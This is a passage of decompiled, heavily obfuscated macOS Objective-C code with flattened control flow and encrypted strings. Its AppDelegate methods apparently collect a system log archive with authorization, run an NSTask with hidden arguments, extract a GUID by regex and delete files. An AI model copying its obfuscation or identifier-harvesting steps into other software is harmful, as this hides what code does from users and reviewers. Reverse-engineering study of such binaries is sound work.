break;
if ( v37 <= 740902043 )
{
if ( v37 > 441594963 )
{
if ( v37 > 582421761 )
{
if ( v37 == 582421762 )
{
*v50 = 650047700;
v35 = v34;
}
else if ( v37 == 650047700 )
{
objc_release(v42);
objc_release(v38);
*v50 = 1235266700;
v39 = v35;
}
}
else
{
if ( v37 == 441594964 )
{
v4 = 1;
v5 = 740902044;
v6 = -1832898156;
goto LABEL_176;
}
if ( v37 == 459810401 )
{
v7 = 0;
v5 = -588274029;
v8 = -1520416887;
goto LABEL_168;
}
}
}
else if ( v37 > 337612395 )
{
if ( v37 == 337612396 )
{
v22 = HikariFunctionWrapper_18985(a1, v31);
v23 = objc_retainAutoreleasedReturnValue(v22);
v7 = 0;
v41 = v23;
v32 = &OBJC_CLASS___NSCharacterSet;
v33 = "whitespaceAndNewlineCharacterSet";
v5 = -2114474387;
v8 = -2109077103;
goto LABEL_168;
}
if ( v37 == 390972999 )
{
v12 = HikariFunctionWrapper_18983(v42, v28);
v7 = 0;
v26 = (unsigned __int64)v12;
v5 = 1179924695;
v8 = 777762244;
goto LABEL_168;
}
}
else
{
if ( v37 == 294437667 )
{
v19 = objc_msgSend(v32, v33);
v20 = objc_retainAutoreleasedReturnValue(v19);
v21 = objc_msgSend(v41, "stringByTrimmingCharactersInSet:", v20);
v34 = objc_retainAutoreleasedReturnValue(v21);
objc_release(v20);
HikariFunctionWrapper_18987(CFSTR("\\v \x88\\\xC6\x3Bʡ:@ub\x92ܐ\xC2\xF0~R\x88\x8EU\xBB"));
objc_release(v41);
v7 = 0;
v5 = 1202312395;
v8 = 582421762;
goto LABEL_168;
}
if ( v37 == 296491258 )
{
v4 = 1;
v5 = -1404558066;
v6 = 1842872413;
goto LABEL_176;
}
}
}
else if ( v37 <= 841518535 )
{
if ( v37 > 777762243 )
{
if ( v37 == 777762244 )
{
*v50 = -4837071;
}
else if ( v37 == 789835526 )
{
*v50 = 1773221519;
}
}
else if ( v37 == 740902044 )
{
HikariFunctionWrapper_18989(a1, v27);
v18 = HikariFunctionWrapper_18991(v38, "firstMatchInString:options:range:");
objc_retainAutoreleasedReturnValue(v18);
*v50 = -1832898156;
}
else if ( v37 == 767581657 )
{
qmemcpy(aE_25, "<key>mirt_exi", 13);
v44 = 115;
*v50 = 905930047;
}
}
else if ( v37 <= 878386795 )
{
if ( v37 == 841518536 )
{
v7 = 0;
v5 = 2009237482;
v8 = -1361607;
goto LABEL_168;
}
if ( v37 == 862545773 )
{
v43 = v36 == 0;
v4 = 0;
v5 = -483392816;
v6 = 862545773;
goto LABEL_176;
}
}
else
{
switch ( v37 )
{
case 878386796:
v46 = v25 == 0;
*v50 = 459810401;
break;
case 887402593:
v7 = 0;
v5 = 1039989689;
v8 = -413179081;
LABEL_168:
if ( !v7 )
v5 = v8;
LABEL_178:
*v50 = v5;
break;
case 905930047:
aE_25[13] = v44;
aE_25[14] = 116;
aE_25[15] = 60;
aE_25[16] = 47;
aE_25[17] = 107;
aE_25[18] = 101;
aE_25[19] = 121;
aE_25[20] = 62;
aE_25[21] = 92;
aE_25[22] = 115;
aE_25[23] = 42;
aE_25[24] = 60;
aE_25[25] = 100;
aE_25[26] = 97;
aE_25[27] = 116;
aE_25[28] = 97;
aE_25[29] = 62;
aE_25[30] = 40;
aE_25[31] = 91;
aE_25[32] = 94;
aE_25[33] = 60;
aE_25[34] = 93;
aE_25[35] = 43;
aE_25[36] = 41;
aE_25[37] = 60;
aE_25[38] = 47;
aE_25[39] = 100;
aE_25[40] = 97;
aE_25[41] = 116;
aE_25[42] = 97;
aE_25[43] = 62;
aE_25[44] = 0;
strcpy(aV_12, "[Aldaz] mirt_exist = %@");
qmemcpy(aN_26, "[Aldaz] Key 'mirt_exist' no ", 28);
v49 = 101;
*v50 = -1888942564;
break;
}
}
}
if ( v37 > 1408102817 )
break;
if ( v37 <= 1235266699 )
{
if ( v37 > 1179924694 )
{
if ( v37 == 1179924695 )
{
objc_msgSend(v42, v28);
*v50 = 390972999;
}
else if ( v37 == 1202312395 )
{
v13 = HikariFunctionWrapper_18995(v32, v33);
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = objc_msgSend(v41, "stringByTrimmingCharactersInSet:", v14);
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
NSLog(CFSTR("\\v \x88\\\xC6\x3Bʡ:@ub\x92ܐ\xC2\xF0~R\x88\x8EU\xBB"), v16);
objc_release(v41);
LABEL_118:
*v50 = 294437667;
}
}
else if ( v37 == 1003377362 )
{
dword_10029F604 = 1;
objc_retain(a1);
*v50 = 1819880926;
}
else if ( v37 == 1039989689 )
{
NSLog(CFSTR("N\xD8\x7C*\x12xcE-\xD9\x59\xF1\x7F\x31\x86L|\x1E\x1Dµ\x922i\xFDԛX|\xB3\x97C\x8A?\xF6\x18\x59\x0A"));
*v50 = -413179081;
}
}
else if ( v37 <= 1335449733 )
{
if ( v37 == 1235266700 )
{
v40 = v39;
v4 = 1;
v5 = -770567852;
v6 = -337938741;
goto LABEL_176;
}
if ( v37 == 1305904593 )
{
v27 = "length";
v25 = HikariFunctionWrapper_18979(a1, "length");
*v50 = 878386796;
}
}
else
{
switch ( v37 )
{
case 1335449734:
v4 = 0;
v5 = 1819880926;
v6 = 1003377362;
LABEL_176:
if ( v4 )
v5 = v6;
goto LABEL_178;
case 1357001186:
v47 = v42 == 0;
v4 = 0;
v5 = 1854903128;
v6 = 1357001186;
goto LABEL_176;
case 1363948848:
*v50 = -1513387915;
break;
}
}
}
if ( v37 <= 1842872412 )
break;
if ( v37 > 2009237481 )
{
if ( v37 == 2009237482 )
{
*v50 = -1361607;
}
else if ( v37 == 2057466797 )
{
*v50 = 1357001186;
}
}
else
{
if ( v37 == 1842872413 )
{
v5 = -525845603;
goto LABEL_178;
}
if ( v37 == 1854903128 )
{
v7 = !v47;
v5 = 841518536;
LABEL_155:
v8 = 887402593;
goto LABEL_168;
}
}
}
if ( v37 <= 1773221518 )
break;
if ( v37 == 1773221519 )
{
v4 = 0;
v5 = 390972999;
v6 = 1179924695;
goto LABEL_176;
}
if ( v37 == 1819880926 )
{
dword_10029F604 = 1;
objc_retain(a1);
v7 = 0;
v5 = 1819880926;
v8 = 1363948848;
goto LABEL_168;
}
}
if ( v37 == 1433232288 )
{
v7 = !v48;
v5 = -759468230;
goto LABEL_155;
}
if ( v37 != 1464859379 )
break;
HikariFunctionWrapper_18993(v42, "rangeAtIndex:");
*v50 = -1706194399;
}
}
while ( v37 != 1408102818 );
return v40;
}
// 1001CAA2D: conditional instruction was optimized away because cf.1==1
// 1001C9F78: variable 'v31' is possibly undefined
// 1001C9F78: variable 'v29' is possibly undefined
// 1001C9F78: variable 'v30' is possibly undefined
// 1001CA554: variable 'v11' is possibly undefined
// 1001CA605: variable 'v28' is possibly undefined
// 1001CA659: variable 'v35' is possibly undefined
// 1001CA683: variable 'v32' is possibly undefined
// 1001CA683: variable 'v33' is possibly undefined
// 1001CA7A0: variable 'v26' is possibly undefined
// 1001CA9F2: variable 'v27' is possibly undefined
// 1001CACDF: variable 'v34' is possibly undefined
// 1001CB058: variable 'v25' is possibly undefined
// 100289D80: using guessed type __CFString cfstr_E_25;
// 10029F604: using guessed type int dword_10029F604;
//----- (00000001001CB0C6) ----------------------------------------------------
id __cdecl -[AppDelegate collectLogAndExtractGUID](AppDelegate *self, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
id v7; // rax
id v8; // r15
id v9; // rax
id v10; // r12
bool v11; // zf
int v12; // ecx
NSString *v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
NSFileManager *v17; // rax
NSFileManager *v18; // r15
NSString *v19; // rax
NSString *v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
NSFileManager *v24; // rax
NSFileManager *v25; // r15
id v26; // rax
id v27; // rax
id v28; // rax
id v29; // r15
id v30; // rax
int v31; // eax
id v33; // [rsp+0h] [rbp-A0h]
id v34; // [rsp+8h] [rbp-98h]
id v35; // [rsp+10h] [rbp-90h]
const char *v36; // [rsp+18h] [rbp-88h]
id v37; // [rsp+20h] [rbp-80h]
const char *v38; // [rsp+28h] [rbp-78h]
const char *v39; // [rsp+30h] [rbp-70h]
void *v40; // [rsp+38h] [rbp-68h]
int v41; // [rsp+40h] [rbp-60h]
int v42; // [rsp+44h] [rbp-5Ch] BYREF
id v43; // [rsp+48h] [rbp-58h]
id v44; // [rsp+50h] [rbp-50h]
id v45; // [rsp+58h] [rbp-48h]
id v46; // [rsp+60h] [rbp-40h]
bool v47; // [rsp+6Ch] [rbp-34h]
bool v48; // [rsp+6Dh] [rbp-33h]
char v49; // [rsp+6Eh] [rbp-32h]
char v50; // [rsp+6Fh] [rbp-31h]
int *v51; // [rsp+70h] [rbp-30h]
v41 = dword_10029F608;
v42 = -1976701636;
v51 = &v42;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v42 <= -468685897 )
{
if ( v42 > -1261276987 )
{
if ( v42 <= -874929046 )
{
if ( v42 <= -1242022123 )
{
if ( v42 == -1261276986 )
{
v28 = objc_msgSend(
v34,
v38,
CFSTR("N\xC7\x6B\r\x8EN\xAE\xCD\x19\x98׀\xD5\x01u\\Me\xF4\xAC\x62\x7B;"),
v45);
v29 = objc_retainAutoreleasedReturnValue(v28);
v30 = objc_msgSend(v44, "stringByAppendingPathComponent:", v29);
v46 = objc_retainAutoreleasedReturnValue(v30);
objc_release(v29);
objc_release(v45);
objc_release(v37);
v48 = -[AppDelegate collectLogWithAuthorizationToPath:](
self,
"collectLogWithAuthorizationToPath:",
v46) == 0;
v11 = 0;
v3 = -1261276986;
v12 = 1339492935;
goto LABEL_97;
}
if ( v42 == -1246213380 )
*v51 = -1631121509;
}
else
{
switch ( v42 )
{
case -1242022122:
v43 = v40;
v11 = 0;
v3 = -862034478;
v12 = 677226943;
LABEL_97:
if ( !v11 )
v3 = v12;
LABEL_113:
*v51 = v3;
break;
case -998703598:
v11 = !v47;
v3 = 685240349;
v12 = -468685896;
goto LABEL_97;
case -970007354:
v5 = 0;
v3 = -2073257997;
v6 = -998703598;
goto LABEL_111;
}
}
}
else if ( v42 > -596861613 )
{
switch ( v42 )
{
case -596861612:
*v51 = -874929045;
break;
case -596275237:
aN_27[20] = v50;
aN_27[21] = 101;
aN_27[22] = 0;
v3 = 1471858846;
goto LABEL_113;
case -527878114:
*v51 = 1961637671;
break;
}
}
else
{
switch ( v42 )
{
case -874929045:
goto LABEL_88;
case -862034478:
v24 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v25 = objc_retainAutoreleasedReturnValue(v24);
HikariFunctionWrapper_19007(v25, "removeItemAtPath:error:");
objc_release(v25);
objc_release(v46);
objc_release(v44);
objc_autoreleaseReturnValue(v43);
*v51 = 677226943;
break;
case -660694143:
v7 = objc_msgSend(
v34,
v38,
CFSTR("N\xC7\x6B\r\x8EN\xAE\xCD\x19\x98׀\xD5\x01u\\Me\xF4\xAC\x62\x7B;"),
v45);
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = objc_msgSend(v44, "stringByAppendingPathComponent:", v8);
v10 = objc_retainAutoreleasedReturnValue(v9);
objc_release(v8);
objc_release(v45);
objc_release(v37);
-[AppDelegate collectLogWithAuthorizationToPath:](self, "collectLogWithAuthorizationToPath:", v10);
*v51 = -1261276986;
break;
}
}
}
else if ( v42 <= -1894233914 )
{
if ( v42 <= -2059705167 )
{
if ( v42 == -2113446230 )
{
v5 = 0;
v3 = -2059705166;
v6 = -596275237;
goto LABEL_111;
}
if ( v42 == -2073257997 )
*v51 = -970007354;
}
else
{
switch ( v42 )
{
case -2059705166:
aN_27[20] = v50;
aN_27[21] = 101;
aN_27[22] = 0;
*v51 = -596275237;
break;
case -1985616283:
aN_27[0] = 115;
aN_27[1] = 121;
aN_27[2] = 115;
aN_27[3] = 108;
aN_27[4] = 111;
aN_27[5] = 103;
aN_27[6] = 115;
aN_27[7] = 100;
*v51 = 44762492;
break;
case -1976701636:
v11 = 0;
v3 = -1246213380;
v12 = -1631121509;
goto LABEL_97;
}
}
}
else if ( v42 > -1696581519 )
{
switch ( v42 )
{
case -1696581518:
v2 = 0;
v3 = 15786532;
v4 = -39509436;
LABEL_103:
if ( v2 )
v3 = v4;
goto LABEL_113;
case -1631121509:
v47 = v41 == 0;
*v51 = -527878114;
break;
case -1424182487:
v14 = HikariFunctionWrapper_19005(v35, v36);
v15 = objc_retainAutoreleasedReturnValue(v14);
v16 = objc_msgSend(v15, "UUIDString");
objc_retainAutoreleasedReturnValue(v16);
*v51 = -98380585;
break;
}
}
else
{
switch ( v42 )
{
case -1894233913:
*v51 = -2113446230;
break;
case -1872737445:
*v51 = -1242022122;
v40 = v33;
break;
case -1786256558:
v5 = 0;
v3 = 1963422893;
v6 = 1101281515;
goto LABEL_111;
}
}
}
if ( v42 > 497769284 )
break;
if ( v42 <= -39509437 )
{
if ( v42 <= -125871489 )
{
if ( v42 == -468685896 )
{
v2 = 0;
v3 = 44762492;
v4 = -1985616283;
goto LABEL_103;
}
if ( v42 == -391679756 )
{
dword_10029F608 = 1;
v19 = HikariFunctionWrapper_18997();
v20 = objc_retainAutoreleasedReturnValue(v19);
v5 = 1;
v44 = v20;
v34 = &OBJC_CLASS___NSString;
v35 = &OBJC_CLASS___NSUUID;
v36 = "UUID";
v3 = 77316730;
v6 = -47655001;
goto LABEL_111;
}
}
else
{
switch ( v42 )
{
case -125871488:
*v51 = 1606406879;
break;
case -98380585:
v21 = objc_msgSend(v35, v36, 2668398296LL);
v37 = objc_retainAutoreleasedReturnValue(v21);
v22 = HikariFunctionWrapper_18999(v37, "UUIDString");
v23 = objc_retainAutoreleasedReturnValue(v22);
v2 = 0;
v45 = v23;
v38 = "stringWithFormat:";
v3 = -125871488;
v4 = -98380585;
goto LABEL_103;
case -47655001:
dword_10029F608 = 1;
v13 = HikariFunctionWrapper_19003();
objc_retainAutoreleasedReturnValue(v13);
*v51 = -391679756;
break;
}
}
}
else if ( v42 > 77316729 )
{
switch ( v42 )
{
case 77316730:
*v51 = 1808116205;
break;
case 85100905:
v27 = HikariFunctionWrapper_19001(self, v39);
v33 = objc_retainAutoreleasedReturnValue(v27);
v3 = 712550837;
goto LABEL_113;
case 405015054:
*v51 = -1696581518;
break;
}
}
else
{
switch ( v42 )
{
case -39509436:
aN_27[8] = v49;
aN_27[9] = 37;
aN_27[10] = 64;
aN_27[11] = 46;
aN_27[12] = 108;
aN_27[13] = 111;
aN_27[14] = 103;
aN_27[15] = 97;
aN_27[16] = 114;
aN_27[17] = 99;
aN_27[18] = 104;
aN_27[19] = 105;
*v51 = 15786532;
break;
case 15786532:
aN_27[8] = v49;
aN_27[9] = 37;
aN_27[10] = 64;
aN_27[11] = 46;
aN_27[12] = 108;
aN_27[13] = 111;
aN_27[14] = 103;
aN_27[15] = 97;
v5 = 1;
aN_27[16] = 114;
aN_27[17] = 99;
aN_27[18] = 104;
aN_27[19] = 105;
v50 = 118;
v3 = -1894233913;
v6 = 15786532;
goto LABEL_111;
case 44762492:
aN_27[0] = 115;
aN_27[1] = 121;
aN_27[2] = 115;
aN_27[3] = 108;
aN_27[4] = 111;
aN_27[5] = 103;
aN_27[6] = 115;
aN_27[7] = 100;
v49 = 95;
v3 = 405015054;
goto LABEL_113;
}
}
}
if ( v42 <= 1339492934 )
break;
if ( v42 > 1808116204 )
{
switch ( v42 )
{
case 1808116205:
v5 = 0;
v3 = -1424182487;
v6 = -98380585;
LABEL_111:
if ( !v5 )
v3 = v6;
goto LABEL_113;
case 1961637671:
v5 = 1;
v3 = -970007354;
v6 = -2073257997;
goto LABEL_111;
case 1963422893:
*v51 = 1101281515;
break;
}
}
else
{
switch ( v42 )
{
case 1339492935:
v31 = -1786256558;
if ( v48 )
v31 = -1242022122;
*v51 = v31;
v40 = 0;
break;
case 1471858846:
*v51 = 685240349;
break;
case 1606406879:
v2 = 1;
v3 = -660694143;
v4 = -1261276986;
goto LABEL_103;
}
}
}
if ( v42 <= 685240348 )
break;
switch ( v42 )
{
case 685240349:
v2 = 0;
v3 = -391679756;
v4 = -47655001;
goto LABEL_103;
case 712550837:
*v51 = -1872737445;
break;
case 1101281515:
v39 = "extractGUIDFromLogArchive:";
*v51 = -596861612;
break;
}
}
if ( v42 != 497769285 )
break;
v26 = objc_msgSend(self, v39, v46);
objc_retainAutoreleasedReturnValue(v26);
LABEL_88:
*v51 = 85100905;
}
if ( v42 == 677226943 )
{
v17 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v18 = objc_retainAutoreleasedReturnValue(v17);
-[NSFileManager removeItemAtPath:error:](v18, "removeItemAtPath:error:", v46, 0);
objc_release(v18);
objc_release(v46);
objc_release(v44);
objc_autoreleaseReturnValue(v43);
v2 = 0;
v3 = 671093720;
v4 = -862034478;
goto LABEL_103;
}
}
while ( v42 != 671093720 );
return v43;
}
// 1001CB23A: variable 'v34' is possibly undefined
// 1001CB23A: variable 'v38' is possibly undefined
// 1001CB275: variable 'v37' is possibly undefined
// 1001CB542: variable 'v35' is possibly undefined
// 1001CB542: variable 'v36' is possibly undefined
// 1001CB8DD: variable 'v33' is possibly undefined
// 1001CBA0E: variable 'v39' is possibly undefined
// 1001CBDA2: variable 'v40' is possibly undefined
// 100289E00: using guessed type __CFString cfstr_N_27;
// 10029F608: using guessed type int dword_10029F608;
//----- (00000001001CBFA8) ----------------------------------------------------
id __cdecl -[AppDelegate extractGUIDFromLogArchive:](AppDelegate *self, SEL a2, id a3)
{
id v3; // rbx
int v4; // eax
char v5; // cf
int v6; // eax
__int64 v7; // rdx
id v8; // rax
id v9; // rax
id v10; // rax
id v11; // rax
bool v12; // cf
int v13; // ecx
id v14; // rax
id v15; // r15
int v16; // ecx
id v17; // rax
id v18; // r15
id v19; // rax
id v20; // rax
id v21; // r12
__int64 v22; // rbx
id v23; // rdi
bool v24; // zf
int v25; // ecx
id v26; // rax
id v27; // rbx
id v28; // rdi
id v29; // rax
id v30; // r15
id v31; // rax
id v32; // r12
id v33; // rax
id v34; // rax
id v35; // rax
id v36; // rax
int v37; // eax
id v38; // rax
id v39; // rax
int v40; // ecx
id v41; // rax
id v42; // rax
id v43; // r15
NSPipe *v44; // rax
int v45; // eax
__int64 v47; // [rsp+0h] [rbp-150h] BYREF
id v48; // [rsp+8h] [rbp-148h]
__CFString *v49; // [rsp+10h] [rbp-140h]
id v50; // [rsp+18h] [rbp-138h]
id v51; // [rsp+20h] [rbp-130h]
__int64 v52; // [rsp+28h] [rbp-128h]
id v53; // [rsp+30h] [rbp-120h]
void *v54; // [rsp+38h] [rbp-118h]
SEL v55; // [rsp+40h] [rbp-110h]
Class v56; // [rsp+48h] [rbp-108h]
void *v57; // [rsp+50h] [rbp-100h]
id v58; // [rsp+58h] [rbp-F8h]
SEL v59; // [rsp+60h] [rbp-F0h]
id v60; // [rsp+68h] [rbp-E8h]
SEL v61; // [rsp+70h] [rbp-E0h]
NSString *format; // [rsp+78h] [rbp-D8h]
id v63; // [rsp+80h] [rbp-D0h]
id v64; // [rsp+88h] [rbp-C8h]
void *v65; // [rsp+90h] [rbp-C0h]
id v66; // [rsp+98h] [rbp-B8h]
unsigned int v67; // [rsp+A4h] [rbp-ACh]
int v68; // [rsp+A8h] [rbp-A8h]
int v69; // [rsp+ACh] [rbp-A4h] BYREF
id v70; // [rsp+B0h] [rbp-A0h]
id v71; // [rsp+B8h] [rbp-98h]
id v72; // [rsp+C0h] [rbp-90h]
__CFString *v73; // [rsp+C8h] [rbp-88h]
id v74; // [rsp+D0h] [rbp-80h]
id v75; // [rsp+D8h] [rbp-78h]
__int64 *v76; // [rsp+E0h] [rbp-70h]
id v77; // [rsp+E8h] [rbp-68h]
SEL v78; // [rsp+F0h] [rbp-60h]
id v79; // [rsp+F8h] [rbp-58h]
id v80; // [rsp+100h] [rbp-50h]
id v81; // [rsp+108h] [rbp-48h]
bool v82; // [rsp+111h] [rbp-3Fh]
char v83; // [rsp+112h] [rbp-3Eh]
bool v84; // [rsp+113h] [rbp-3Dh]
bool v85; // [rsp+114h] [rbp-3Ch]
bool v86; // [rsp+115h] [rbp-3Bh]
bool v87; // [rsp+116h] [rbp-3Ah]
char v88; // [rsp+117h] [rbp-39h]
int *v89; // [rsp+118h] [rbp-38h]
__int64 v90; // [rsp+120h] [rbp-30h]
v3 = a3;
v90 = -1;
v67 = -1215575549;
v69 = 140464362;
v89 = &v69;
v66 = a3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v69 <= 518990582 )
{
if ( v69 > -692021899 )
{
if ( v69 <= -118963960 )
{
if ( v69 > -237951723 )
{
if ( v69 <= -216130289 )
{
if ( v69 == -237951722 )
{
v24 = 0;
v6 = 683398659;
v25 = 1167773586;
goto LABEL_203;
}
if ( v69 == -234794052 )
*v89 = 518990583;
}
else
{
switch ( v69 )
{
case -216130288:
v34 = HikariFunctionWrapper_19033(v58, v59);
objc_retainAutoreleasedReturnValue(v34);
a2 = v78;
HikariFunctionWrapper_19035(v81, v78);
*v89 = -1145720718;
break;
case -208877697:
*v89 = -1680487523;
break;
case -170374149:
v82 = v68 == 0;
v5 = 1;
v6 = -208877697;
v16 = 1806217708;
goto LABEL_215;
}
}
}
else if ( v69 <= -559427547 )
{
if ( v69 == -692021898 )
{
a2 = "firstMatchInString:options:range:";
v36 = objc_msgSend(v72, "firstMatchInString:options:range:", v81, 0, 0, v50);
v75 = objc_retainAutoreleasedReturnValue(v36);
v37 = -1548273013;
if ( !v75 )
v37 = 715608679;
*v89 = v37;
format = (NSString *)CFSTR("\xD2\x46\nY\f\x94\xC4\x48\xC8\x55c\x06P\xC3\xFD\xBB\xA6\x0E(\x02\x90\x88");
v63 = 0;
}
else if ( v69 == -637282768 )
{
*v89 = 1011085484;
}
}
else
{
switch ( v69 )
{
case -559427546:
a2 = v78;
HikariFunctionWrapper_19029(v77, v78);
*v89 = -2107138242;
break;
case -442853088:
objc_retain(v81);
v28 = gAldazU;
gAldazU = v81;
objc_release(v28);
a2 = v78;
v86 = objc_msgSend(v81, v78) == 0;
v5 = 1;
v6 = 1226528570;
v16 = -705365257;
goto LABEL_215;
case -398044771:
*v89 = 1270064000;
v73 = v49;
break;
}
}
}
else if ( v69 <= 255314945 )
{
if ( v69 <= 76030247 )
{
if ( v69 == -118963959 )
{
v12 = 1;
v6 = 732921625;
v13 = 617134433;
LABEL_211:
if ( v12 )
v6 = v13;
goto LABEL_217;
}
if ( v69 == -91267978 )
{
v54 = v64;
v12 = 1;
v6 = 530921873;
v13 = 1715381508;
goto LABEL_211;
}
}
else
{
switch ( v69 )
{
case 76030248:
v24 = !v82;
v6 = -1132624998;
v25 = -118963959;
LABEL_203:
if ( !v24 )
v6 = v25;
LABEL_217:
*v89 = v6;
break;
case 140464362:
v12 = v67 < 0x6B9CD546;
v6 = 954940363;
v13 = -1223194231;
goto LABEL_211;
case 221099930:
objc_release(v81);
objc_release(v77);
objc_release(v71);
objc_release(v70);
objc_release(v79);
objc_release(v80);
objc_release(v3);
objc_autoreleaseReturnValue(v74);
*v89 = 1934071584;
break;
}
}
}
else if ( v69 > 392260441 )
{
switch ( v69 )
{
case 392260442:
v5 = 0;
v6 = 607771489;
v16 = 2077561489;
goto LABEL_215;
case 392888380:
a2 = (SEL)671612928;
v5 = 0;
v6 = 1500327972;
v16 = -1224693507;
goto LABEL_215;
case 436551173:
*v89 = 1165968338;
break;
}
}
else
{
switch ( v69 )
{
case 255314946:
*v89 = -692021898;
break;
case 345423593:
*v89 = 1777304381;
v65 = v54;
break;
case 362064915:
a2 = "range";
v51 = HikariFunctionWrapper_19021(v75, "range");
v52 = v7;
v6 = -1365023539;
goto LABEL_217;
}
}
}
else if ( v69 <= -1224693508 )
{
if ( v69 > -1631209758 )
{
if ( v69 <= -1365023540 )
{
if ( v69 == -1631209757 )
{
v12 = 1;
v56 = (Class)&OBJC_CLASS___NSString;
v6 = 1787274043;
v13 = 1243852092;
goto LABEL_211;
}
if ( v69 == -1548273013 )
{
v5 = 0;
v6 = -1651582230;
v16 = 362064915;
goto LABEL_215;
}
}
else
{
switch ( v69 )
{
case -1365023539:
*v89 = 780993032;
break;
case -1266364908:
*v89 = 1777304381;
v65 = 0;
break;
case -1240844691:
v14 = objc_msgSend(v60, v61);
v15 = objc_retainAutoreleasedReturnValue(v14);
*v76 = 0;
a2 = "removeItemAtPath:error:";
objc_msgSend(v15, "removeItemAtPath:error:", v3, v76);
objc_release(v15);
*v89 = -1135999830;
break;
}
}
}
else if ( v69 <= -1680487524 )
{
if ( v69 == -2107138242 )
{
a2 = v78;
v35 = objc_msgSend(v77, v78);
v12 = 0;
v48 = v35;
v6 = -1654877223;
v13 = -2107138242;
goto LABEL_211;
}
if ( v69 == -1743705602 )
{
v26 = objc_alloc(v56);
v24 = 0;
v57 = v26;
v6 = -1743705602;
v25 = 2013350284;
goto LABEL_203;
}
}
else
{
switch ( v69 )
{
case -1680487523:
a2 = (SEL)1589877114;
v5 = 1;
v6 = 903185244;
v16 = 1871764282;
goto LABEL_215;
case -1654877223:
*v89 = -748608480;
break;
case -1651582230:
a2 = "range";
objc_msgSend(v75, "range");
*v89 = 362064915;
break;
}
}
}
else if ( v69 <= -1132624999 )
{
if ( v69 <= -1167573623 )
{
if ( v69 == -1224693507 )
{
v45 = 1773840605;
if ( v85 )
v45 = 1270064000;
*v89 = v45;
goto LABEL_209;
}
if ( v69 == -1223194231 )
*v89 = 954940363;
}
else
{
switch ( v69 )
{
case -1167573622:
objc_alloc(v56);
*v89 = -1743705602;
break;
case -1145720718:
v38 = objc_msgSend(
v58,
v59,
CFSTR("\x04\x1A\xBBO\x8Cf.\xDB\x35\xC3\xEA[0\xA3\xE3\x4D\x09\xDB\x65\xCE\x6Fa\xC7\x1A\x0E\xB0\xF0\x3F\x02\x2C\x03\xA6\xBE\xD5\x53\x89\xBC\x05'\xC8\xDA1·y\xC4\x142\xCF\x5A\xA8\xDD\x53\b\xF1\x55\x93\x8A\xD2\x2F\xF9"),
1,
0);
v72 = objc_retainAutoreleasedReturnValue(v38);
a2 = v78;
v39 = objc_msgSend(v81, v78);
v5 = 1;
v50 = v39;
v6 = 255314946;
v16 = -1145720718;
goto LABEL_215;
case -1135999830:
v20 = objc_msgSend(v60, v61, 121896575);
v21 = objc_retainAutoreleasedReturnValue(v20);
*v76 = 0;
a2 = "removeItemAtPath:error:";
objc_msgSend(v21, "removeItemAtPath:error:", v3, v76);
v22 = *v76;
objc_release(v21);
v24 = v22 == 0;
v3 = v66;
v87 = v24;
v12 = 0;
v6 = -1067985327;
LABEL_155:
v13 = -1135999830;
goto LABEL_211;
}
}
}
else if ( v69 > -842806991 )
{
switch ( v69 )
{
case -842806990:
v6 = 1447540494;
goto LABEL_217;
case -748608480:
v85 = v48 == 0;
*v89 = 1356430184;
break;
case -705365257:
objc_retain(v81);
v23 = gAldazU;
gAldazU = v81;
objc_release(v23);
a2 = v78;
objc_msgSend(v81, v78);
*v89 = -442853088;
break;
}
}
else
{
switch ( v69 )
{
case -1132624998:
dword_10029F60C = 1;
v76 = &v47 - 2;
objc_retain(v3);
NSLog(
CFSTR("GK\x86WC\x1FU\xDD\x79dX۳F\xF7\x0B\xB3\xB7n\x9Fɶ\xB6\xCD\xE3x\x7F\x8C2z^\x15\x16Ś\xA2\xA0"),
v3);
v41 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v80 = objc_msgSend(v41, "init");
objc_msgSend(v80, "setLaunchPath:", CFSTR("\xD9\x49\x9Co\x02\xBDa\xD0\x4D\x1A[\f\x1B"));
*(&v47 - 8) = (__int64)CFSTR("\xDF\x63-%\xA8");
*(&v47 - 7) = (__int64)CFSTR("\xF8\x8E`\x80\xDD\x2D\xFF");
*(&v47 - 6) = (__int64)CFSTR("KDcJd\xA4h@");
*(&v47 - 5) = (__int64)CFSTR("z\x87\x7F\xA6\xA8\xC9\x50op\x02s7");
*(&v47 - 4) = (__int64)CFSTR("\xCF\xF1\x93\xB4\xEF\x3F\xB4\x85Y\xCE\xC4Pp\xCA\x05\xACI&\xA3\x8E\x1Aye\x84\x953:\t$\n\xE0\xDA\xC1M\xFD\x8C\x86\r\xA4\xC1\xFC\xE1\x70\xBE{");
*(&v47 - 3) = (__int64)CFSTR("H\x98\x14\x16\x130\x90\xE9\xE5\x29");
*(&v47 - 2) = (__int64)v3;
v42 = HikariFunctionWrapper_19009(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v43 = objc_retainAutoreleasedReturnValue(v42);
HikariFunctionWrapper_19011(v80, "setArguments:");
objc_release(v43);
v44 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v79 = objc_retainAutoreleasedReturnValue(v44);
a2 = "setStandardOutput:";
HikariFunctionWrapper_19013(v80, "setStandardOutput:");
v55 = "setStandardError:";
*v89 = 392260442;
break;
case -1068154426:
a2 = "initWithData:encoding:";
v49 = (__CFString *)HikariFunctionWrapper_19017(v57, "initWithData:encoding:");
*v89 = -398044771;
break;
case -1067985327:
v4 = -91267978;
if ( v87 )
v4 = 715608679;
*v89 = v4;
format = (NSString *)CFSTR("\xD4\x145|\xD6\xCD\xB7N\x15F\f2\xF1\x1Buם\xEE\xB9\x73\x02\xF4\x11\x2C\xA9\xB4\x16\xD2\x36ǭ");
v63 = v53;
v64 = v53;
break;
}
}
}
if ( v69 > 1230742368 )
break;
if ( v69 <= 875510499 )
{
if ( v69 > 683398658 )
{
if ( v69 <= 732921624 )
{
if ( v69 == 683398659 )
{
asc_100289FC0[20] = v88;
asc_100289FC0[21] = 52;
